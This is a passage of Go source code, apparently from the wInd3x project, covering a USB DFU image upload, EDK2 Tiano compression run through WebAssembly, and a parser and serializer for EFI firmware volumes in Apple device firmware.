		chunk := make([]byte, clen)
		n, err := buf.Read(chunk)
		if err != nil {
			if err == io.EOF {
				break
			}
			return fmt.Errorf("read failed: %w", err)
		}
		done += n
		if err := SendChunk(usb, chunk[:n], blockno); err != nil {
			return fmt.Errorf("chunk %d failed: %w", blockno, err)
		}
		if progress != nil {
			progress(float32(done) / float32(len(i)))
		}
		status, err := GetStatus(usb)
		if err != nil {
			return fmt.Errorf("chunk %d status failed: %w", blockno, err)
		}
		if want, got := ErrOk, status.Err; want != got {
			return fmt.Errorf("chunk %d status expected %d, got %d", blockno, want, got)
		}
		for (status.State != StateDnloadIdle){
			time.Sleep(status.Timeout)
			status, err = GetStatus(usb)
			if err != nil {
				return fmt.Errorf("chunk %d status failed: %w", blockno, err)
			}
			if want, got := ErrOk, status.Err; want != got {
				return fmt.Errorf("chunk %d status expected %d, got %d", blockno, want, got)
			}
		} 
		
		blockno += 1

	}

	// Send zero-length download, completing image.
	if err := SendChunk(usb, nil, blockno); err != nil {
		return fmt.Errorf("zero length send failed: %w", err)
	}

	for i := 0; i < 100; i++ {
		// Send status request, causing manifest.
		st, err := GetStatus(usb)
		if err != nil {
			return fmt.Errorf("status failed: %w", err)
		}
		if st.State == StateIdle {
			return fmt.Errorf("unexpected idle, err: %d", st.Err)
		}
		if st.State == StateDnBusy {
			continue
		}
		if st.State == StateManifest {
			slog.Info("Got dfuMANIFEST, image uploaded.")
			return nil
		}
	}

	return fmt.Errorf("did not reach manifest")
}

func Clean(usb devices.Usb) error {
	if err := ClearStatus(usb); err != nil {
		return fmt.Errorf("ClrStatus: %w", err)
	}
	state, err := GetState(usb)
	if err != nil {
		return fmt.Errorf("GetState: %w", err)
	}
	if state != StateIdle {
		return fmt.Errorf("unexpected DFU state %s", state)
	}
	return nil

}


================================================
FILE: pkg/efi/compression/COPYING.edk2.txt
================================================
Copyright (c) 2004 - 2018, Intel Corporation. All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

    1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
    2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

Subject to the terms and conditions of this license, each copyright holder and contributor hereby grants to those receiving rights under this license a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except for failure to satisfy the conditions of this license) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer this software, where such license applies only to those patent claims, already acquired or hereafter acquired, licensable by such copyright holder or contributor that are necessarily infringed by:

    (a) their Contribution(s) (the licensed copyrights of copyright holders and non-copyrightable additions of contributors, in source or binary form) alone; or
    (b) combination of their Contribution(s) with the work of authorship to which such Contribution(s) was added by such copyright holder or contributor, if, at the time the Contribution is added, such addition causes such combination to be necessarily infringed. The patent license shall not apply to any other combinations which include the Contribution.

Except as expressly stated above, no rights or licenses from any copyright holder or contributor is granted under this license, whether expressly, by implication, estoppel or otherwise.

DISCLAIMER

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


================================================
FILE: pkg/efi/compression/build.sh
================================================
#! /usr/bin/env nix-shell
#! nix-shell -i bash -p emscripten
set -e -x -o pipefail

# Rebuild edk2.wasm from EDK2 sources. It contains TianoCompress/Decompress
# functions which are then made available to the Go runtime using wazero.

[ -d edk2 ] || exit 1

# Work around Nix badness.
# See: https://github.com/NixOS/nixpkgs/issues/139943

emscriptenpath="$(dirname $(dirname $(which emcc)))"
if [ ! -d ~/.emscripten_cache ]; then
    cp -rv "$emscriptenpath/share/emscripten/cache" ~/.emscripten_cache
    chmod u+rwX -R ~/.emscripten_cache
fi
export EM_CACHE=~/.emscripten_cache

emcc \
    edk2/BaseTools/Source/C/Common/TianoCompress.c \
    edk2/BaseTools/Source/C/Common/Decompress.c \
    -I edk2/BaseTools/Source/C/Include/ \
    -I edk2/BaseTools/Source/C/Include/X64/ \
    -s EXPORTED_FUNCTIONS=_TianoDecompress,_TianoCompress,_malloc,_free \
    -s ALLOW_MEMORY_GROWTH \
    --no-entry \
    -O3 \
    -o edk2.wasm


================================================
FILE: pkg/efi/compression/compression.go
================================================
package compression

type TianoCompression interface {
	// Decompress using Tiano compression algorithm from EDK2.
	Decompress(in []byte) ([]byte, error)
	// Compress using Tiano compression algorithm from EDK2.
	Compress(in []byte) ([]byte, error)
}


================================================
FILE: pkg/efi/compression/compression_runtime.go
================================================
//go:build wasm

package compression

type RuntimeDispatched struct {
	DecompressFn func(in []byte) ([]byte, error)
	CompressFn   func(in []byte) ([]byte, error)
}

func (r *RuntimeDispatched) Decompress(in []byte) ([]byte, error) {
	return r.DecompressFn(in)
}
func (r *RuntimeDispatched) Compress(in []byte) ([]byte, error) {
	return r.CompressFn(in)
}

var Compression = &RuntimeDispatched{}


================================================
FILE: pkg/efi/compression/compression_test.go
================================================
package compression

import (
	"bytes"
	"testing"
)

func TestLoopback(t *testing.T) {
	input := []byte("According to all known laws of aviation, there is no way an EFI implementation should be able to fly. It's wings are too small to get its fat little body off the ground. The implementation, of course, flies anyway, because computers don't care what humans think is impossible.")
	compressed, err := Compression.Compress(input)
	if err != nil {
		t.Fatalf("Compress() failed: %v", err)
	}

	uncompressed, err := Compression.Decompress(compressed)
	if err != nil {
		t.Fatalf("Decompress() failed: %v", err)
	}

	if !bytes.Equal(input, uncompressed) {
		t.Fatalf("did not decompress to same data: %q", string(uncompressed))
	}
}


================================================
FILE: pkg/efi/compression/compression_wazero.go
================================================
//go:build !wasm

// package compression implements EFI compression/decompression routines by
// calling out into edk2 Tiano{Dec,C}ompres functions compiled into
// WebAssembly.
//
// We don't use cgo or c2go because I don't trust that code.
//
// See build.sh on how to regenerate edk2.wasm.
package compression

import (
	"bytes"
	"context"
	_ "embed"
	"encoding/binary"
	"errors"
	"fmt"
	"os"
	"sync"

	"github.com/tetratelabs/wazero"
	"github.com/tetratelabs/wazero/api"
	"github.com/tetratelabs/wazero/imports/emscripten"
	"github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1"
)

var (
	// mu guards the entirety of the compression/decompression library behind a
	// singleton mutex. That's because the Intel compression/decompression code
	// is very, very, extremely non memory safe.
	mu sync.Mutex

	//go:embed edk2.wasm
	wasm []byte
)

// edk2 is the WebAssembly module and loaded functions from edk2.wasm.
type edk2 struct {
	module api.Module

	mallocF     api.Function
	freeF       api.Function
	compressF   api.Function
	decompressF api.Function
}

func (e *edk2) malloc(ctx context.Context, size int) uint32 {
	results, err := e.mallocF.Call(ctx, uint64(size))
	if err != nil {
		panic(fmt.Sprintf("wasm malloc() failed: %v", err))
	}
	return uint32(results[0])
}

func (e *edk2) free(ctx context.Context, ptr uint32) {
	e.freeF.Call(ctx, uint64(ptr))
}

func (e *edk2) write(ctx context.Context, ptr uint32, data []byte) {
	if !e.module.Memory().Write(ctx, ptr, data) {
		panic("memory write failed")
	}
}

func (e *edk2) writeu32(ctx context.Context, ptr, data uint32) {
	buf := bytes.NewBuffer(nil)
	if err := binary.Write(buf, binary.LittleEndian, data); err != nil {
		panic("err")
	}
	e.write(ctx, ptr, buf.Bytes())
}

func (e *edk2) read(ctx context.Context, ptr uint32, size int) []byte {
	res, ok := e.module.Memory().Read(ctx, ptr, uint32(size))
	if !ok {
		panic("memory read failed")
	}
	res2 := make([]byte, len(res))
	copy(res2, res)
	return res2
}

func (e *edk2) readu32(ctx context.Context, ptr uint32) uint32 {
	data := e.read(ctx, ptr, 4)
	var res uint32
	if err := binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &res); err != nil {
		panic(err)
	}
	return res
}

var (
	edk *edk2
)

func edk2Error(code int32) error {
	switch code {
	case 0:
		return nil
	case 2:
		return errors.New("invalid parameter")
	case 5:
		return errors.New("buffer too small")
	case 9:
		return errors.New("out of resources")
	default:
		return fmt.Errorf("unknown (%d)", code)
	}
}

func getedk2() *edk2 {
	// Already guarded by 'mu'.
	if edk != nil {
		return edk
	}

	ctx := context.Background()
	r := wazero.NewRuntime(ctx)
	if _, err := wasi_snapshot_preview1.Instantiate(ctx, r); err != nil {
		panic(err)
	}
	if _, err := emscripten.Instantiate(ctx, r); err != nil {
		panic(err)
	}

	config := wazero.NewModuleConfig().WithStdout(os.Stdout).WithStderr(os.Stderr)
	code, err := r.CompileModule(ctx, wasm, wazero.NewCompileConfig())
	if err != nil {
		panic(err)
	}
	mod, err := r.InstantiateModule(ctx, code, config)
	if err != nil {
		panic(err)
	}

	e := &edk2{
		module:      mod,
		mallocF:     mod.ExportedFunction("malloc"),
		freeF:       mod.ExportedFunction("free"),
		compressF:   mod.ExportedFunction("TianoCompress"),
		decompressF: mod.ExportedFunction("TianoDecompress"),
	}

	edk = e
	return e
}

type wazeroCompression struct{}

// Decompress using Tiano compression algorithm from EDK2.
func (w *wazeroCompression) Decompress(in []byte) ([]byte, error) {
	mu.Lock()
	defer mu.Unlock()

	var dstSize uint32
	if err := binary.Read(bytes.NewBuffer(in[4:8]), binary.LittleEndian, &dstSize); err != nil {
		return nil, err
	}

	ctx, ctxC := context.WithCancel(context.Background())
	defer ctxC()

	e := getedk2()

	// Prepare `in` in wasm.
	inPtr := e.malloc(ctx, len(in))
	defer e.free(ctx, inPtr)
	e.write(ctx, inPtr, in)

	// Prepare `out` in wasm.
	outPtr := e.malloc(ctx, int(dstSize))
	defer e.free(ctx, outPtr)

	// Prepare `scratch` in wasm.
	scratchPtr := e.malloc(ctx, 13393)
	defer e.free(ctx, outPtr)

	results, err := e.decompressF.Call(ctx, uint64(inPtr), uint64(len(in)), uint64(outPtr), uint64(dstSize), uint64(scratchPtr), 13393)
	if err != nil {
		return nil, fmt.Errorf("wasm TianoDecompress() failed: %w", err)
	}

	res := int32(results[0])
	if res != 0 {
		return nil, edk2Error(res)
	}

	data := e.read(ctx, outPtr, int(dstSize))
	return data, nil
}

// Compress using Tiano compression algorithm from EDK2.
func (w *wazeroCompression) Compress(in []byte) ([]byte, error) {
	if len(in) == 0 {
		return nil, fmt.Errorf("canot compress empty file")
	}

	mu.Lock()
	defer mu.Unlock()

	ctx, ctxC := context.WithCancel(context.Background())
	defer ctxC()

	e := getedk2()

	// Prepare `in` in wasm.
	inPtr := e.malloc(ctx, len(in))
	defer e.free(ctx, inPtr)
	e.write(ctx, inPtr, in)

	// Prepare `out` in wasm.
	outPtr := e.malloc(ctx, len(in))
	defer e.free(ctx, outPtr)

	// Prepare `outSize` in wasm.
	outSizePtr := e.malloc(ctx, 4)
	defer e.free(ctx, outSizePtr)
	e.writeu32(ctx, outSizePtr, uint32(len(in)))

	results, err := e.compressF.Call(ctx, uint64(inPtr), uint64(len(in)), uint64(outPtr), uint64(outSizePtr))
	if err != nil {
		return nil, fmt.Errorf("wasm TianoCompress() failed: %w", err)
	}

	res := int32(results[0])
	if res != 0 {
		return nil, edk2Error(res)
	}

	outSizeU32 := e.readu32(ctx, outSizePtr)
	return e.read(ctx, outPtr, int(outSizeU32)), nil
}

var Compression TianoCompression = &wazeroCompression{}


================================================
FILE: pkg/efi/efi.go
================================================
// package efi implements support for parsing and reassembling EFI Firmware
// Volumes, as used in some Apple device firmware components.
//
// This library is similar in functionality and scope to UEFITool or
// uefi-firmware-parser. However, some differences remain:
// 1. This implements the small subset of EFI FV as used by Apple devices, and
//    is only tested against them. This is in contrast to UEFITool and
//    uefi-firmware-parser which attempt to parse all possible images out
//    there.
// 2. This implementation is in pure Go, with Tiano compression routines
//    implemented via WebAssembly (emscripten-compiled C from EDK2). This is in
//    contrast to uefi-firmware-parser and UEFITool which link against a binary
//    build of the functionality from EDK2.
// 3. This implementation focuses on bit-perfect reconstruction of images. A
//    back-to-back Read-to-Serialize of any image should result in exactly the
//    same data outputted.
//
package efi

import (
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"io"
	"strings"
)

// GUID type compatible with EFI.
type GUID [16]byte

func (g GUID) String() string {
	a := []byte{g[3], g[2], g[1], g[0]}
	b := []byte{g[5], g[4]}
	c := []byte{g[7], g[6]}
	d := []byte{g[8], g[9]}
	e := []byte{g[10], g[11], g[12], g[13], g[14], g[15]}
	return fmt.Sprintf("%s-%s-%s-%s-%s", hex.EncodeToString(a), hex.EncodeToString(b), hex.EncodeToString(c), hex.EncodeToString(d), hex.EncodeToString(e))
}

func MustParseGUID(s string) GUID {
	if len(s) != 36 {
		panic("wrong guid length")
	}
	parts := strings.Split(s, "-")
	if len(parts) != 5 {
		panic("invalid format")
	}

	lengths := []int{8, 4, 4, 4, 12}
	vs := make([][]byte, 5)
	for i, l := range lengths {
		if len(parts[i]) != l {
			panic("invalid format")
		}
		v, err := hex.DecodeString(parts[i])
		if err != nil {
			panic("inavlid format")
		}
		vs[i] = v
	}

	a := vs[0]
	b := vs[1]
	c := vs[2]
	d := vs[3]
	e := vs[4]

	return [16]byte{
		a[3], a[2], a[1], a[0],
		b[1], b[0],
		c[1], c[0],
		d[0], d[1],
		e[0], e[1], e[2], e[3], e[4], e[5],
	}
}

// NestedReader is a io.Reader which implements carving out a subelement of
// itself into another io.Reader. It also allows keeping track of the position
// of a reader within the original backing data.
type NestedReader struct {
	parent *NestedReader
	data   []byte
	pos    int
	start  int
}

func (r *NestedReader) Read(out []byte) (int, error) {
	left := len(r.data) - r.pos
	if left <= 0 {
		return 0, io.EOF
	}
	if len(out) < left {
		left = len(out)
	}
	copy(out, r.data[r.pos:r.pos+left])
	r.pos += left
	return left, nil
}

func (r *NestedReader) Advance(count int) {
	left := len(r.data) - r.pos
	if left < count {
		count = left
	}
	r.pos += count
}

func (r *NestedReader) TellGlobal() int {
	return r.pos + r.start
}

func (r *NestedReader) Sub(start, length int) *NestedReader {
	return &NestedReader{
		parent: r,
		data:   r.data[r.pos+start : r.pos+start+length],
		pos:    0,
		start:  r.start + r.pos + start,
	}
}

func (r *NestedReader) Len() int {
	return len(r.data) - r.pos
}

func NewNestedReader(underlying []byte) *NestedReader {
	return &NestedReader{
		parent: nil,
		data:   underlying,
		pos:    0,
		start:  0,
	}
}

// Uint24 as per EFI.
type Uint24 [3]uint8

func ToUint24(s uint32) Uint24 {
	if s > 0xffffff {
		panic("too large")
	}
	return [3]uint8{uint8(s & 0xff), uint8((s >> 8) & 0xff), uint8((s >> 16) & 0xff)}
}

func (s Uint24) Uint32() uint32 {
	return (uint32(s[2]) << 16) | (uint32(s[1]) << 8) | uint32(s[0])
}

// checksum16 is the 16-bit checksum as used in some EFI headers. It calculates
// the value necessary to make the given data sum to 0 when interpreted as an
// array of 16-bit integers.
func checksum16(data []byte) uint16 {
	if len(data)%2 != 0 {
		panic("cannot checksum non-16-bit-chunked data")
	}
	checkNums := make([]uint16, len(data)/2)
	binary.Read(bytes.NewBuffer(data), binary.LittleEndian, checkNums)
	sum := uint16(0)
	for _, n := range checkNums {
		sum += n
	}
	return (sum ^ 0xffff) + 1
}

// checksum8 is the 16-bit checksum as used in some EFI headers. It calculates
// the value necessary to make the given data sum to 0 when interpreted as an
// array of 8-bit integers.
func checksum8(data []byte) uint8 {
	checkNums := make([]uint8, len(data))
	binary.Read(bytes.NewBuffer(data), binary.LittleEndian, checkNums)
	sum := uint8(0)
	for _, n := range checkNums {
		sum += n
	}
	return (sum ^ 0xff) + 1
}


================================================
FILE: pkg/efi/file.go
================================================
package efi

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log/slog"
)

// FirmwareFileHeader as per EFI standard.
type FirmwareFileHeader struct {
	GUID GUID
	// ChecksumHeader is recalculated when Serialize is called.
	ChecksumHeader uint8
	// ChecksumData is recalculated when Serialize is called.
	ChecksumData uint8
	FileType     FileType
	Attributes   uint8
	// Size is recalculated when Serialize is called.
	Size  Uint24
	State uint8
}

type FileType uint8

const (
	FileTypeSecurityCore FileType = 3
	FileTypePEICore      FileType = 4
	FileTypeDXECore      FileType = 5
	FileTypeDriver       FileType = 7
	FileTypeApplication  FileType = 9
	FileTypePadding      FileType = 240
)

func (f FileType) String() string {
	switch f {
	case FileTypeSecurityCore:
		return "security core"
	case FileTypePEICore:
		return "pei core"
	case FileTypeDXECore:
		return "dxe core"
	case FileTypeDriver:
		return "driver"
	case FileTypeApplication:
		return "application"
	case FileTypePadding:
		return "padding"
	default:
		return fmt.Sprintf("UNKNOWN(%d)", f)
	}
}

// FirmwareFile represents an EFI Firmware File within a Firmware Volume.
type FirmwareFile struct {
	FirmwareFileHeader
	Sections []Section
	// ReadOffset is the offset within the volume at which the file has been
	// encountered.
	ReadOffset int
}

func (f *FirmwareFile) Serialize() ([]byte, error) {
	var data []byte
	var err error
	if f.FileType == FileTypePadding {
		data = bytes.Repeat([]byte{0xff}, int(f.Size.Uint32()-0x18))
	} else {
		data, err = concatSections(f.Sections)
		if err != nil {
			return nil, fmt.Errorf("could not serialize sections: %w", err)
		}
	}

	f.Size = ToUint24(uint32(len(data)) + 0x18)

	f.ChecksumHeader = 0
	f.ChecksumData = 0
	state := f.State
	f.State = 0

	checkBuf := bytes.NewBuffer(nil)
	binary.Write(checkBuf, binary.LittleEndian, f.FirmwareFileHeader)

	f.ChecksumHeader = checksum8(checkBuf.Bytes())
	if (f.Attributes & 0x40) != 0 {
		f.ChecksumData = checksum8(data)
	} else {
		f.ChecksumData = 0xaa
	}
	f.State = state

	buf := bytes.NewBuffer(nil)
	if err := binary.Write(buf, binary.LittleEndian, f.FirmwareFileHeader); err != nil {
		return nil, err
	}
	if _, err := buf.Write(data); err != nil {
		panic(err)
	}

	return buf.Bytes(), nil
}

func readFile(r *NestedReader) (*FirmwareFile, error) {
	start := r.TellGlobal()
	var header FirmwareFileHeader
	peek := r.pos
	if err := binary.Read(r, binary.LittleEndian, &header); err != nil {
		return nil, fmt.Errorf("reading header failed: %w", err)
	}

	if header.GUID.String() == "ffffffff-ffff-ffff-ffff-ffffffffffff" {
		r.pos = peek
		return nil, nil
	}

	slog.Debug("File header", "start", start, "header", header)
	size := header.Size.Uint32()
	dataSub := r.Sub(0, int(size-0x18))
	r.Advance(int(size - 0x18))

	alignment := (size - 0x18) % 8
	if alignment != 0 {
		r.Advance(int(8 - alignment))
	}
	var sections []Section
	if header.FileType != FileTypePadding {
		var err error
		sections, err = readSections(dataSub)
		if err != nil {
			return nil, err
		}
	}
	// TODO: checksum
	return &FirmwareFile{
		FirmwareFileHeader: header,
		Sections:           sections,
		ReadOffset:         start,
	}, nil
}


================================================
FILE: pkg/efi/sections.go
================================================
package efi

import (
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"hash/crc32"
	"io"
	"log/slog"

	"github.com/freemyipod/wInd3x/pkg/efi/compression"
	"github.com/ulikunitz/xz/lzma"
)

type SectionType uint8

const (
	SectionTypeCompression         SectionType = 1
	SectionTypeGUIDDefined         SectionType = 2
	SectionTypePE32                SectionType = 16
	SectionTypeTE                  SectionType = 18
	SectionTypeDXEDEPEX            SectionType = 19
	SectionTypeVersion             SectionType = 20
	SectionTypeUserInterface       SectionType = 21
	SectionTypeFirmwareVolumeImage SectionType = 23
	SectionTypeRaw                 SectionType = 25
)

func (s SectionType) String() string {
	switch s {
	case SectionTypeCompression:
		return "compression"
	case SectionTypeGUIDDefined:
		return "guid"
	case SectionTypePE32:
		return "pe32"
	case SectionTypeTE:
		return "te"
	case SectionTypeDXEDEPEX:
		return "depex"
	case SectionTypeVersion:
		return "version"
	case SectionTypeUserInterface:
		return "ui"
	case SectionTypeFirmwareVolumeImage:
		return "firmware volume image"
	case SectionTypeRaw:
		return "raw"
	default:
		return fmt.Sprintf("UNKNOWN(%d)", s)
	}
}

type SectionOrFile struct {
	Section Section
	File    *FirmwareFile
}

// Section is the interface implemented by all EFI Firmware Volume File
// Sections.
type Section interface {
	// Header returns the common header of this section.
	Header() *commonSectionHeader
	// Sub returns all Sections nested within this section, if applicable.
	Sub() []SectionOrFile
	// Serialize serializes this section into a binary.
	Serialize() ([]byte, error)

	// Raw returns the inner data within this section, if this section is a
	// PE32/TE/DXE/Raw section.
	Raw() []byte
	// SetRaw overrides the inner data within this section, if this section is
	// a PE32/TE/DXE/Raw section.
	SetRaw([]byte)
}

func readSections(r *NestedReader) ([]Section, error) {
	var res []Section
	for r.Len() != 0 {
		p1 := r.TellGlobal()
		section, err := readSection(r)
		if err != nil {
			return nil, fmt.Errorf("section %d: %w", len(res), err)
		}
		p2 := r.TellGlobal()
		read := p2 - p1
		if read%4 != 0 && r.Len() != 0 {
			align := 4 - (read % 4)
			r.Advance(align)
		}
		res = append(res, section)
	}
	return res, nil
}

type commonSectionHeader struct {
	Size Uint24
	Type SectionType
}

func (c *commonSectionHeader) Header() *commonSectionHeader {
	return c
}

func (c *commonSectionHeader) Raw() []byte {
	return nil
}

func (c *commonSectionHeader) SetRaw([]byte) {
}

type compressionSection struct {
	commonSectionHeader
	extra struct {
		UncompressedLength uint32
		CompressionType    uint8
	}
	sub []Section
}

func (c *compressionSection) Sub() []SectionOrFile {
	res := make([]SectionOrFile, 0, len(c.sub))
	for _, s := range c.sub {
		res = append(res, SectionOrFile{Section: s})
	}
	return res
}

func concatSections(sub []Section) ([]byte, error) {
	var res []byte
	if len(sub) == 0 {
		return nil, fmt.Errorf("no sections")
	}
	for i, section := range sub {
		data, err := section.Serialize()
		if err != nil {
			return nil, fmt.Errorf("sub %d: %w", i, err)
		}
		if len(data)%4 != 0 && (i != len(sub)-1) {
			data = append(data, bytes.Repeat([]byte{0x00}, 4-(len(data)%4))...)
		}
		res = append(res, data...)
	}
	return res, nil
}

func (c *compressionSection) Serialize() ([]byte, error) {
	uncompressed, err := concatSections(c.sub)
	if err != nil {
		return nil, err
	}
	c.extra.UncompressedLength = uint32(len(uncompressed))
	compressed, err := compression.Compression.Compress(uncompressed)
	if err != nil {
		return nil, fmt.Errorf("compression failed: %w", err)
	}
	c.commonSectionHeader.Size = ToUint24(uint32(4 + 5 + len(compressed)))

	buf := bytes.NewBuffer(nil)
	if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {
		return nil, err
	}
	if err := binary.Write(buf, binary.LittleEndian, c.extra); err != nil {
		return nil, err
	}
	if err := binary.Write(buf, binary.LittleEndian, compressed); err != nil {
		return nil, err
	}
	return buf.Bytes(), nil
}

type guidSection struct {
	commonSectionHeader
	extra struct {
		SectionDefinitionGUID GUID
		DataOffset            uint16
		Attributes            uint16
	}
	custom []byte
	sub    []Section
}

func (c *guidSection) Sub() []SectionOrFile {
	res := make([]SectionOrFile, 0, len(c.sub))
	for _, s := range c.sub {
		res = append(res, SectionOrFile{Section: s})
	}
	return res
}

func (c *guidSection) Serialize() ([]byte, error) {
	data, err := concatSections(c.sub)
	if err != nil {
		return nil, err
	}
	if (c.extra.Attributes & 1) != 0 {
		switch c.extra.SectionDefinitionGUID.String() {
		case "ee4e5898-3914-4259-9d6e-dc7bd79403cf":
			// LZMA compressed
			wbuf := bytes.NewBuffer(nil)
			wrc := lzma.WriterConfig{
				SizeInHeader: true,
				Size:         int64(len(data)),
				BufSize:      1 << 15,
				DictCap:      16 << 20,
				//EOSMarker:    true,
			}
			w, err := wrc.NewWriter(wbuf)
			if err != nil {
				return nil, fmt.Errorf("could not open LZMA section: %w", err)
			}
			slog.Debug("  LZMA compressing", "len", len(data))
			if _, err := w.Write(data); err != nil {
				return nil, fmt.Errorf("could not compress LZMA section: %w", err)
			}
			if err := w.Close(); err != nil {
				return nil, fmt.Errorf("could not close LZMA section: %w", err)
			}
			data = wbuf.Bytes()
		default:
			return nil, fmt.Errorf("need to process unknown GUID %s", c.extra.SectionDefinitionGUID.String())
		}
	}
	c.commonSectionHeader.Size = ToUint24(uint32(4 + 20 + len(c.custom) + len(data)))
	if c.extra.SectionDefinitionGUID.String() == "fc1bcdb0-7d31-49aa-936a-a4600d9dd083" {
		// Rebuild CRC32 checksum.
		h := crc32.NewIEEE()
		h.Write(data)

		buf := bytes.NewBuffer(nil)
		binary.Write(buf, binary.LittleEndian, h.Sum32())
		c.custom = buf.Bytes()
	}

	buf := bytes.NewBuffer(nil)
	if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {
		return nil, err
	}
	if err := binary.Write(buf, binary.LittleEndian, c.extra); err != nil {
		return nil, err
	}
	//pad := make([]byte, c.extra.DataOffset-24)
	if err := binary.Write(buf, binary.LittleEndian, c.custom); err != nil {
		return nil, err
	}
	if err := binary.Write(buf, binary.LittleEndian, data); err != nil {
		return nil, err
	}
	return buf.Bytes(), nil
}

type leafSection struct {
	commonSectionHeader
	data []byte
}

func (c *leafSection) Sub() []SectionOrFile {
	return nil
}

func (c *leafSection) Serialize() ([]byte, error) {
	c.commonSectionHeader.Size = ToUint24(uint32(4 + len(c.data)))
	buf := bytes.NewBuffer(nil)
	if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {
		return nil, err
	}
	if err := binary.Write(buf, binary.LittleEndian, c.data); err != nil {
		return nil, err
	}
	return buf.Bytes(), nil
}

func (c *leafSection) Raw() []byte {
	res := make([]byte, len(c.data))
	copy(res, c.data)
	return res
}

func (c *leafSection) SetRaw(d []byte) {
	res := make([]byte, len(d))
	copy(res, d)
	c.data = res
}

type NestedImageSection struct {
	commonSectionHeader
	Vol *Volume
}

func (c *NestedImageSection) Sub() []SectionOrFile {
	var res []SectionOrFile
	for _, f := range c.Vol.Files {
		res = append(res, SectionOrFile{File: f})
		for _, s := range f.Sections {
			res = append(res, SectionOrFile{Section: s})
		}
	}
	return res
}

func (c *NestedImageSection) Serialize() ([]byte, error) {
	compressed, err := c.Vol.Serialize()
	if err != nil {
		return nil, err
	}
	c.commonSectionHeader.Size = ToUint24(uint32(4 + len(compressed)))
	buf := bytes.NewBuffer(nil)
	if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {
		return nil, err
	}
	if err := binary.Write(buf, binary.LittleEndian, compressed); err != nil {
		return nil, err
	}
	return buf.Bytes(), nil
}

func (c *NestedImageSection) Raw() []byte {
	return nil
}

func (c *NestedImageSection) SetRaw(d []byte) {
	return
}

func readSection(r *NestedReader) (Section, error) {
	var header commonSectionHeader
	start := r.TellGlobal()
	if err := binary.Read(r, binary.LittleEndian, &header); err != nil {
		return nil, err
	}
	slog.Debug("Section header", "start", start, "header", header)
	switch header.Type {
	case SectionTypeCompression:
		var res compressionSection
		res.commonSectionHeader = header
		if err := binary.Read(r, binary.LittleEndian, &res.extra); err != nil {
			return nil, err
		}
		data := make([]byte, header.Size.Uint32()-(4+5))
		if _, err := io.ReadFull(r, data); err != nil {
			return nil, fmt.Errorf("reading compression data: %w", err)
		}
		if res.extra.CompressionType != 1 {
			return nil, fmt.Errorf("unsupported compression type %d", res.extra.CompressionType)
		}
		decompressed, err := compression.Compression.Decompress(data)
		if err != nil {
			return nil, fmt.Errorf("decompression failed: %w", err)
		}
		t, err := compression.Compression.Compress(decompressed)
		if err != nil || len(t) != len(data) {
			slog.Error("Loopback compression failed", "first", len(data), "second", len(t))
		}
		decompressed = decompressed[:res.extra.UncompressedLength]
		//fmt.Println(hex.Dump(decompressed))
		sub, err := readSections(NewNestedReader(decompressed))
		if err != nil {
			return nil, fmt.Errorf("parsing compression subsections: %w", err)
		}
		res.sub = sub
		return &res, nil
	case SectionTypeGUIDDefined:
		var res guidSection
		res.commonSectionHeader = header
		if err := binary.Read(r, binary.LittleEndian, &res.extra); err != nil {
			return nil, err
		}
		slog.Debug("guiddefined", "guid", res.extra.SectionDefinitionGUID.String(), "doffs", res.extra.DataOffset, "attrs", res.extra.Attributes)
		customLength := int(res.extra.DataOffset - (4 + 20))
		slog.Debug("guiddefined", "customlen", customLength)
		custom := make([]byte, customLength)
		r.Read(custom)
		res.custom = custom
		if customLength != 0 {
			slog.Debug("guiddefined", " custom", hex.EncodeToString(res.custom))
		}

		dataLength := int(header.Size.Uint32()-(4+20)) - customLength
		dataSub := r.Sub(0, dataLength)
		r.Advance(dataLength)

		if (res.extra.Attributes & 1) != 0 {
			slog.Debug(" needs processing")
			switch res.extra.SectionDefinitionGUID.String() {
			case "ee4e5898-3914-4259-9d6e-dc7bd79403cf":
				// LZMA compressed
				slog.Debug("  LZMA compressed")
				data, _ := io.ReadAll(dataSub)
				l, err := lzma.NewReader(bytes.NewBuffer(data))
				if err != nil {
					return nil, fmt.Errorf("could not open LZMA section: %w", err)
				}
				un, err := io.ReadAll(l)
				if err != nil {
					return nil, fmt.Errorf("could not decompress LZMA section: %w", err)
				}
				dataSub = NewNestedReader(un)
			default:
				return nil, fmt.Errorf("need to process unknown GUID %s", res.extra.SectionDefinitionGUID.String())
			}
		}

		sub, err := readSections(dataSub)
		if err != nil {
			return nil, fmt.Errorf("parsing guid defined subsections: %w", err)
		}
		res.sub = sub
		return &res, nil
	case SectionTypePE32, SectionTypeTE, SectionTypeRaw, SectionTypeDXEDEPEX, SectionTypeUserInterface, SectionTypeVersion:
